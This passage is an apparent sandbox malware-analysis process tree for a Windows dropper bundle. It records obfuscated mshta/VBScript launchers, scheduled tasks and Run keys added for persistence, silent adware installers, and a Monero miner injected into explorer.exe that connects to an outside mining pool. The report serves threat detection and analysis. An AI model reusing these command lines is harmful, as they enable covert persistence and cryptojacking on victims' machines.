        11⤵
        Program crash
        
        PID:2804
        
        C:\Users\Admin\Documents\hZ1gwCfVWG7aYh7uztRN1AK_.exe
        
        "C:\Users\Admin\Documents\hZ1gwCfVWG7aYh7uztRN1AK_.exe"
        10⤵
        
        PID:6748
        
        C:\Users\Admin\Documents\A_3IFJ4luCE2YfF5rZFkO1iY.exe
        
        "C:\Users\Admin\Documents\A_3IFJ4luCE2YfF5rZFkO1iY.exe"
        10⤵
        
        PID:5716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5716 -s 244
        11⤵
        Program crash
        
        PID:7016
        
        C:\Users\Admin\Documents\02DSV2BfcD3lOpwhnNfrwNJd.exe
        
        "C:\Users\Admin\Documents\02DSV2BfcD3lOpwhnNfrwNJd.exe"
        10⤵
        
        PID:5924
        
        C:\Users\Admin\Documents\02DSV2BfcD3lOpwhnNfrwNJd.exe
        
        "C:\Users\Admin\Documents\02DSV2BfcD3lOpwhnNfrwNJd.exe"
        11⤵
        
        PID:2980
        
        C:\Users\Admin\Documents\4Z2oAyA9FUC52mMFf0Do5YLe.exe
        
        "C:\Users\Admin\Documents\4Z2oAyA9FUC52mMFf0Do5YLe.exe"
        10⤵
        
        PID:6880
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        11⤵
        
        PID:2232
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Nobile.docm
        11⤵
        
        PID:4520
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        12⤵
        
        PID:4512
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm
        13⤵
        
        PID:4372
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        13⤵
        Runs ping.exe
        
        PID:584
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com
        
        Rimasta.exe.com J
        13⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J
        14⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J
        15⤵
        
        PID:3064
        
        C:\Users\Admin\Documents\SNKrFbI2STOvBPYSfBL71LQB.exe
        
        "C:\Users\Admin\Documents\SNKrFbI2STOvBPYSfBL71LQB.exe"
        10⤵
        
        PID:5820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 260
        11⤵
        Program crash
        
        PID:6984
        
        C:\Users\Admin\Documents\hArSOD_GCXflQXrV7wl3OLoW.exe
        
        "C:\Users\Admin\Documents\hArSOD_GCXflQXrV7wl3OLoW.exe"
        10⤵
        
        PID:4404
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        11⤵
        Creates scheduled task(s)
        
        PID:5540
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        11⤵
        
        PID:6528
        
        C:\Users\Admin\Documents\YYJS6UHaEYjdEISaw3iMNhO1.exe
        
        "C:\Users\Admin\Documents\YYJS6UHaEYjdEISaw3iMNhO1.exe" /mixtwo
        12⤵
        
        PID:3548
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3548 -s 280
        13⤵
        Program crash
        
        PID:6960
        
        C:\Users\Admin\Documents\iIy75PPWFT721yY4fMoNTUPs.exe
        
        "C:\Users\Admin\Documents\iIy75PPWFT721yY4fMoNTUPs.exe"
        12⤵
        
        PID:1568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 236
        13⤵
        Program crash
        
        PID:3668
        
        C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe
        
        "C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe"
        12⤵
        
        PID:7020
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        13⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\Users\Admin\Documents\48ewJ3i1Rs7sGpWXY5g1mQqv.exe" ) do taskkill /Im "%~NxB" /F
        14⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        15⤵
        
        PID:3284
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        16⤵
        
        PID:6456
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        17⤵
        
        PID:1532
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        16⤵
        
        PID:1588
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "48ewJ3i1Rs7sGpWXY5g1mQqv.exe" /F
        15⤵
        Kills process with taskkill
        
        PID:3500
        
        C:\Users\Admin\Documents\55bS0uqS__0R59firBJazfrC.exe
        
        "C:\Users\Admin\Documents\55bS0uqS__0R59firBJazfrC.exe"
        12⤵
        
        PID:6260
        
        C:\ProgramData\5469451.exe
        
        "C:\ProgramData\5469451.exe"
        13⤵
        
        PID:6804
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6804 -s 2220
        14⤵
        Program crash
        
        PID:3704
        
        C:\ProgramData\5645571.exe
        
        "C:\ProgramData\5645571.exe"
        13⤵
        
        PID:6660
        
        C:\ProgramData\8878283.exe
        
        "C:\ProgramData\8878283.exe"
        13⤵
        
        PID:2828
        
        C:\ProgramData\454754.exe
        
        "C:\ProgramData\454754.exe"
        13⤵
        
        PID:5928
        
        C:\ProgramData\959917.exe
        
        "C:\ProgramData\959917.exe"
        13⤵
        
        PID:4572
        
        C:\ProgramData\5987154.exe
        
        "C:\ProgramData\5987154.exe"
        13⤵
        
        PID:7092
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7092 -s 2288
        14⤵
        Program crash
        
        PID:4100
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        11⤵
        Creates scheduled task(s)
        
        PID:3228
        
        C:\Users\Admin\Documents\Yxum1ZNCZGWPbkcDI7x_NJ9V.exe
        
        "C:\Users\Admin\Documents\Yxum1ZNCZGWPbkcDI7x_NJ9V.exe"
        10⤵
        
        PID:3616
        
        C:\Users\Admin\Documents\e8FP5Xy3za1XMHLMmndOKKyp.exe
        
        "C:\Users\Admin\Documents\e8FP5Xy3za1XMHLMmndOKKyp.exe"
        10⤵
        
        PID:6860
        
        C:\Users\Admin\Documents\6pcLwu4X8pOOHVWhlUd0WOx5.exe
        
        "C:\Users\Admin\Documents\6pcLwu4X8pOOHVWhlUd0WOx5.exe"
        10⤵
        
        PID:5400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 240
        11⤵
        Program crash
        
        PID:6832
        
        C:\Users\Admin\Documents\MatWGdsfoTiOSfduV55y6ixm.exe
        
        "C:\Users\Admin\Documents\MatWGdsfoTiOSfduV55y6ixm.exe"
        10⤵
        
        PID:6248
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6248 -s 276
        11⤵
        Program crash
        
        PID:4168
        
        C:\Users\Admin\Documents\V6QZRWxu6zBIri2JyJv3ccP9.exe
        
        "C:\Users\Admin\Documents\V6QZRWxu6zBIri2JyJv3ccP9.exe"
        10⤵
        
        PID:4548
        
        C:\Users\Admin\Documents\GkB5rqEcmk0PvXgAtFRzi9Gk.exe
        
        "C:\Users\Admin\Documents\GkB5rqEcmk0PvXgAtFRzi9Gk.exe"
        10⤵
        
        PID:3308
        
        C:\Users\Admin\Documents\J5xyZtxea9c2DRzUCRUcSLOS.exe
        
        "C:\Users\Admin\Documents\J5xyZtxea9c2DRzUCRUcSLOS.exe"
        10⤵
        
        PID:4812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 236
        11⤵
        Program crash
        
        PID:5312
        
        C:\Users\Admin\Documents\LevQxt2cy5aaYq_qW7UxSV1V.exe
        
        "C:\Users\Admin\Documents\LevQxt2cy5aaYq_qW7UxSV1V.exe"
        10⤵
        
        PID:6100
        
        C:\Users\Admin\Documents\pAQGxDr2TGjhfjg8F5vMt0SC.exe
        
        "C:\Users\Admin\Documents\pAQGxDr2TGjhfjg8F5vMt0SC.exe"
        10⤵
        
        PID:7100
        
        C:\Users\Admin\AppData\Local\Temp\{D329DA2E-3FB3-4EA4-B859-44E3CC0A97DA}\pAQGxDr2TGjhfjg8F5vMt0SC.exe
        
        C:\Users\Admin\AppData\Local\Temp\{D329DA2E-3FB3-4EA4-B859-44E3CC0A97DA}\pAQGxDr2TGjhfjg8F5vMt0SC.exe /q"C:\Users\Admin\Documents\pAQGxDr2TGjhfjg8F5vMt0SC.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{D329DA2E-3FB3-4EA4-B859-44E3CC0A97DA}" /IS_temp
        11⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\MSIEXEC.EXE
        
        "C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\AppData\Local\Downloaded Installations\{4175BAA6-49B9-43E5-8B49-E892979E209E}\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="pAQGxDr2TGjhfjg8F5vMt0SC.exe"
        12⤵
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\MSIA8F7.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSIA8F7.tmp"
        13⤵
        
        PID:1100
        
        C:\Users\Admin\AppData\Local\Temp\MSIA8E7.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSIA8E7.tmp"
        13⤵
        
        PID:6152
        
        C:\Users\Admin\AppData\Local\Temp\MSIA859.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSIA859.tmp"
        13⤵
        
        PID:6508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"
        9⤵
        
        PID:5168
        
        C:\Windows\system32\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 100
        10⤵
        Runs ping.exe
        
        PID:5416
        
        C:\Windows\system32\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 900
        10⤵
        Runs ping.exe
        
        PID:6616
        
        C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        8⤵
        Executes dropped EXE
        
        PID:3852
        
        C:\Users\Admin\AppData\Local\Temp\is-3C0D3.tmp\stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3C0D3.tmp\stats.tmp" /SL5="$202B4,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:1172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe
      4⤵
      PID:3256
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu214ce31cede21.exe
        
        Thu214ce31cede21.exe
        5⤵
        Executes dropped EXE
        
        PID:4700
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4700 -s 304
        6⤵
        Program crash
        
        PID:5928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe
      4⤵
      PID:1188
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu2156de5489c19.exe
        
        Thu2156de5489c19.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4648
      - C:\Users\Admin\AppData\Local\Temp\tmpC3E2_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpC3E2_tmp.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:6016
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        7⤵
        
        PID:5908
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Attesa.wmv
        7⤵
        
        PID:5228
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        8⤵
        
        PID:4572
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv
        9⤵
        
        PID:3116
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        Adorarti.exe.com u
        9⤵
        
        PID:2260
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        10⤵
        
        PID:6452
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        11⤵
        
        PID:4072
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        9⤵
        Runs ping.exe
        
        PID:5456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4272
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21df5caa1b78de6.exe
        
        Thu21df5caa1b78de6.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:4620
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4620 -s 296
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214aaca5625.exe
      4⤵
      PID:3568
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu214aaca5625.exe
        
        Thu214aaca5625.exe
        5⤵
        Executes dropped EXE
        
        PID:4616
      - C:\Users\Admin\AppData\Local\Temp\is-QMTU2.tmp\Thu214aaca5625.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QMTU2.tmp\Thu214aaca5625.tmp" /SL5="$20086,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu214aaca5625.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3280
        
        C:\Users\Admin\AppData\Local\Temp\is-NG95M.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-NG95M.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        
        PID:5756
        
        C:\Program Files\MSBuild\RROLWEMKOE\ultramediaburner.exe
        
        "C:\Program Files\MSBuild\RROLWEMKOE\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\is-7EGHQ.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7EGHQ.tmp\ultramediaburner.tmp" /SL5="$303F8,281924,62464,C:\Program Files\MSBuild\RROLWEMKOE\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:6708
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\49-f4ff7-2f4-eeaa9-cd3db50862390\Bipepiwalo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\49-f4ff7-2f4-eeaa9-cd3db50862390\Bipepiwalo.exe"
        8⤵
        
        PID:6756
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:5164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xe0,0x10c,0x7ff9e30146f8,0x7ff9e3014708,0x7ff9e3014718
        10⤵
        
        PID:428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:7032
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e30146f8,0x7ff9e3014708,0x7ff9e3014718
        10⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\a5-668a4-f0b-637b1-c046a719bdd3b\Cakawaebefo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a5-668a4-f0b-637b1-c046a719bdd3b\Cakawaebefo.exe"
        8⤵
        
        PID:1992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wqgvgzpo.rzn\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:2892
        
        C:\Users\Admin\AppData\Local\Temp\wqgvgzpo.rzn\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\wqgvgzpo.rzn\GcleanerEU.exe /eufive
        10⤵
        
        PID:3280
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 276
        11⤵
        Program crash
        
        PID:728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5i5s1rkk.uyj\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:6252
        
        C:\Users\Admin\AppData\Local\Temp\5i5s1rkk.uyj\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\5i5s1rkk.uyj\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:1312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nv1znn1t.qiz\anyname.exe & exit
        9⤵
        
        PID:6744
        
        C:\Users\Admin\AppData\Local\Temp\nv1znn1t.qiz\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\nv1znn1t.qiz\anyname.exe
        10⤵
        
        PID:1352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2rp2b1wv.yzi\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:4708
        
        C:\Users\Admin\AppData\Local\Temp\2rp2b1wv.yzi\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\2rp2b1wv.yzi\gcleaner.exe /mixfive
        10⤵
        
        PID:5512
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5512 -s 280
        11⤵
        Program crash
        
        PID:5688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sijlwxyj.5vf\autosubplayer.exe /S & exit
        9⤵
        
        PID:6052
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe
      4⤵
      PID:4544
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu2102ff6cfe07c.exe
        
        Thu2102ff6cfe07c.exe
        5⤵
        Executes dropped EXE
        
        PID:4408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4548
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21568b0ab8.exe
        
        Thu21568b0ab8.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3908
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:3864
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3712
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:1552
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:5692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:4268
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:6600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:488
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1476
        
        C:\ProgramData\4872946.exe
        
        "C:\ProgramData\4872946.exe"
        8⤵
        
        PID:2296
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2296 -s 2352
        9⤵
        Program crash
        
        PID:6756
        
        C:\ProgramData\2611909.exe
        
        "C:\ProgramData\2611909.exe"
        8⤵
        Executes dropped EXE
        
        PID:2096
        
        C:\ProgramData\8173696.exe
        
        "C:\ProgramData\8173696.exe"
        8⤵
        Executes dropped EXE
        
        PID:2900
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2900 -s 316
        9⤵
        Program crash
        
        PID:6800
        
        C:\ProgramData\5486191.exe
        
        "C:\ProgramData\5486191.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 2248
        9⤵
        Program crash
        
        PID:7088
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2120
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2120 -s 1716
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3692
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2160 -s 608
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5100
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        Executes dropped EXE
        
        PID:1488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 312
        8⤵
        Adds Run key to start application
        Program crash
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\DVORAK.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2176
        
